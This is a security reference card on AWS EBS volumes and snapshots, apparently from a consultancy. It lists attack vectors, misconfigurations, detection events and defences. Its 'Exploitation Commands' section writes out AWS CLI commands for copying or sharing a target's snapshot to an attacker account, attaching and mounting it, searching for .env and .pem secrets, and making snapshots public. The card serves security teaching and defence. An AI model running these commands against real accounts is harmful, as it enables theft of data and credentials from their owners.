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AWS EBS Security

STORAGE

Elastic Block Store (EBS) provides persistent block storage for EC2 instances. Snapshots can contain sensitive data and are often misconfigured with public sharing permissions.

HIGH

Risk Level

Scope

gp3/io2

Volume Types

KMS

Encryption

📋Service Overview

Volume Types

EBS offers multiple volume types: gp3/gp2 (general purpose SSD), io2/io1 (provisioned IOPS SSD), st1 (throughput HDD), and sc1 (cold HDD). Each attached to a single EC2 instance in the same AZ.

Attack note: Volumes contain raw disk data - databases, credentials, application secrets

Snapshots

Point-in-time backups stored in S3. Can be shared across accounts or made public. Snapshots are incremental but each can restore a complete volume.

Attack note: Public snapshots are a goldmine - often contain secrets, SSH keys, database dumps

Security Risk Assessment

LowMediumHighCritical

8.0

Risk Score

EBS snapshots frequently contain sensitive data and are commonly misconfigured with public access. Unencrypted volumes expose data at rest. Snapshot sharing enables cross-account data exfiltration.

⚔️Attack Vectors

Snapshot Exposure

•Public snapshots with sensitive data
•Cross-account snapshot sharing
•Copy public snapshots to attacker account
•Create volume from stolen snapshot
•Mount and extract all data

Volume Attacks

•Unencrypted volumes at rest
•Abandoned volumes with secrets
•Snapshot ransomware (encrypt + delete)
•Data exfiltration via snapshot copy
•Modify volume to inject malware

⚠️Misconfigurations

Snapshot Issues

•Snapshots shared publicly (Group: all)
•Shared to unknown/untrusted accounts
•No encryption on snapshots
•Orphaned snapshots not cleaned up
•No lifecycle policies for retention

Volume Issues

•Default encryption disabled
•Using AWS managed keys vs CMK
•DeleteOnTermination: false (orphaned)
•No data classification tagging
•Missing backup/snapshot schedules

🔍Enumeration

List All Volumes

aws ec2 describe-volumes

List Your Snapshots

aws ec2 describe-snapshots --owner-ids self

Find Public Snapshots

aws ec2 describe-snapshots --restorable-by-user-ids all

Check Snapshot Sharing

aws ec2 describe-snapshot-attribute \
  --snapshot-id snap-xxx \
  --attribute createVolumePermission

📤Data Exfiltration

Snapshot Theft Flow

•Find public/shared snapshot
•Copy snapshot to attacker account
•Create volume from snapshot
•Attach volume to attacker EC2
•Mount and extract all data

Data Targets

•Database files (MySQL, PostgreSQL)
•SSH keys and credentials
•Application configuration files
•Environment files with secrets
•Logs with sensitive information

Gold Mine: Database snapshots often contain complete production data - user tables, credentials, PII.

🔗Persistence

Persistence Methods

•Create snapshot of compromised volume
•Share snapshot to attacker account
•Modify volume with backdoor/rootkit
•Attach malicious volume to target EC2
•Store malware in hidden volume

Impact

•Survive instance termination
•Maintain access across reboots
•Exfiltrate data over time
•Ransomware via snapshot encryption
•Supply chain via shared snapshots

🛡️Detection

CloudTrail Events

•CreateSnapshot - snapshot created
•ModifySnapshotAttribute - sharing changed
•CopySnapshot - snapshot copied
•CreateVolume - volume from snapshot
•DeleteSnapshot - snapshot deleted

Indicators of Compromise

•Snapshot shared to unknown accounts
•Public snapshot attribute added
•Cross-region snapshot copies
•Unusual volume attachments
•Bulk snapshot operations

💻Exploitation Commands

Copy Snapshot to Attacker Account

aws ec2 copy-snapshot \
  --source-region us-east-1 \
  --source-snapshot-id snap-target \
  --description "exfil"

Create Volume from Snapshot

aws ec2 create-volume \
  --snapshot-id snap-stolen \
  --availability-zone us-east-1a

Share Snapshot to Attacker

aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-xxx \
  --attribute createVolumePermission \
  --operation-type add \
  --user-ids 123456789012

Attach Volume to EC2

aws ec2 attach-volume \
  --volume-id vol-xxx \
  --instance-id i-attacker \
  --device /dev/sdf

Mount and Extract (on EC2)

sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
find /mnt/stolen -name "*.env" -o -name "*.pem"

Make Snapshot Public (DoS/Exposure)

aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-xxx \
  --attribute createVolumePermission \
  --operation-type add \
  --group-names all

📜Snapshot Configuration Examples

✗Dangerous - Public Snapshot

Snapshot Attributes:
CreateVolumePermission:
  - Group: all    # PUBLIC SNAPSHOT!

Volume: Unencrypted
DeleteOnTermination: false

// Anyone can copy this snapshot and access data

Anyone in AWS can copy this snapshot and access all data

✓Secure - Private Encrypted

Snapshot Attributes:
CreateVolumePermission:
  - UserId: 123456789012  # Specific account only

Volume: Encrypted (KMS CMK)
DeleteOnTermination: true
Tags: {"DataClassification": "Confidential"}

Only specific account can access, encrypted with customer key

🛡️Defense Recommendations

🔐

Enable Default Encryption

Encrypt all new EBS volumes automatically with KMS.

aws ec2 enable-ebs-encryption-by-default

🚫

Block Public Snapshots

Prevent snapshots from being shared publicly at the account level.

aws ec2 enable-snapshot-block-public-access --state block-all-sharing

🔑

Use Customer Managed KMS Keys

Control key access and enable rotation for better security.

aws ec2 create-volume --encrypted \
  --kms-key-id alias/my-ebs-key

📝

Enable CloudTrail Data Events

Log snapshot and volume operations for auditing.

🗑️

Implement Lifecycle Policies

Auto-delete old snapshots to reduce exposure window.

aws dlm create-lifecycle-policy \
  --policy-details '{"PolicyType":"EBS_SNAPSHOT_MANAGEMENT"...}'

📊

AWS Config Rules

Alert on unencrypted volumes and public snapshots.

ec2-ebs-encryption-by-default, ec2-snapshot-public-restorable-check

AWS EBS Security Card • Toc Consulting

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